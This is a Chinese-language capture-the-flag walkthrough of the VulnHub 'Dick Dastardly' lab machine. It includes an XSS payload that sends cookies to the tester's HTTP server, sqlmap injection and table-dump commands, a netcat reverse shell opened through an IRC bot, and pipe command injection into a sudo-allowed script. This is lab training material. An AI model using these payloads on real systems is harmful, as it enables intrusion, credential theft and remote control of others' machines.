参考:https://firefart.at/post/vulnhub_dc416_dick_dastardly/
https://habr.com/ru/post/318372/
https://g0blin.co.uk/dick-dastardly-vulnhub-writeup/
信息收集
端口,系统,服务探测
目录扫描
网页banner信息
index.php
report.php
漏洞利用
XSS
在report.php中存在xss
kali起一个http服务
python -m http.server
Test<img src=http://192.168.189.132:8000/dick>
这里应该模拟存储型XSS,靶机应该有点击留言的机制,稍几分钟后
截取Cookie
<script>top.location="http://192.168.189.132:8000/" + document.cookie;</script>
接受到Http请求,并截取到Cookie
编辑admin.php的cookie后无反应,观察cookie发现是base64编码,解码出一下内容
rasta:1b37y0uc4n76u3557h15p455w0rd,5uck3rz
这就是admin用户
SQL注入
index.php
注入点1:时间盲注
user=rasta&pass=admin
sqlmap -u http://192.168.189.134/index.php --data "user=rasta&pass=admin" --random-agent --level=5 --risk=3 --batch
注入点2:时间盲注
name=asd&msg=asd
sqlmap -u http://192.168.189.134/index.php --data "name=asd&msg=asd" --random-agent --level=5 --risk=3 --batch
report.php
注入点:布尔注入
issue=asdf
sqlmap -u http://192.168.189.134/report.php --data "issue=asdf"--random-agent --level=5 --risk=3 --batch
查找密码
sqlmap -u http://192.168.189.134/report.php --data "issue=asdf" --random-agent --level=5 --risk=3 --batch -D vulnhub -T admins --dump
登录Web应用程序,并显示IRC服务器的管理员应用程序。
我们通过此页面将我们的IP添加到白名单中,然后再次进行端口扫描
nmap -T4 -A -v -p0-65535 192.168.189.134
发现开放的irc服务,以root用户使用weechat连接IRC服务器
weechat
/server add vulnhub 192.168.189.134
/connect vulnhub
所有频道的列表/list
我们加入vulnhub频道,看到有一个vulnhub-bot用户
/join #vulhub
/query vulnhub-bot
我们得到一个帮助菜单:help
让我们执行上述命令:list
通过详细查看所有插件,揭示了一种方法: list Unix
因此,让我们尝试以下命令:shell
whoami
好的,让我们尝试一下我们在管理对话框中添加的用户的凭据:user identify vulnhub 123456
这个用户在web页面添加
继续shell
让我们使用Unix shell反弹一个shell:
Unix shell netcat -e /bin/sh 192.168.189.132
让我们看看当前用户可以使用哪些权限:
sudo -l
显示用户 rasta 可以在 DickDastardly 上运行以下命令: (vulnhub) NOPASSWD:
/usr/bin/python /usr/local/sbin/util.py
所以让我们试试看:
sudo -u vulnhub /usr/bin/python /usr/local/sbin/util.py
我使用nc接受shell,运行python脚本没回显,可以使用meterpreter生成shell,用MSF接受shell,我这就不做演示了
以上python脚本运行结果如下
随意尝试序号,发现2是列目录
且可以在目录后面用|
拼接命令,于是便可以查看flag3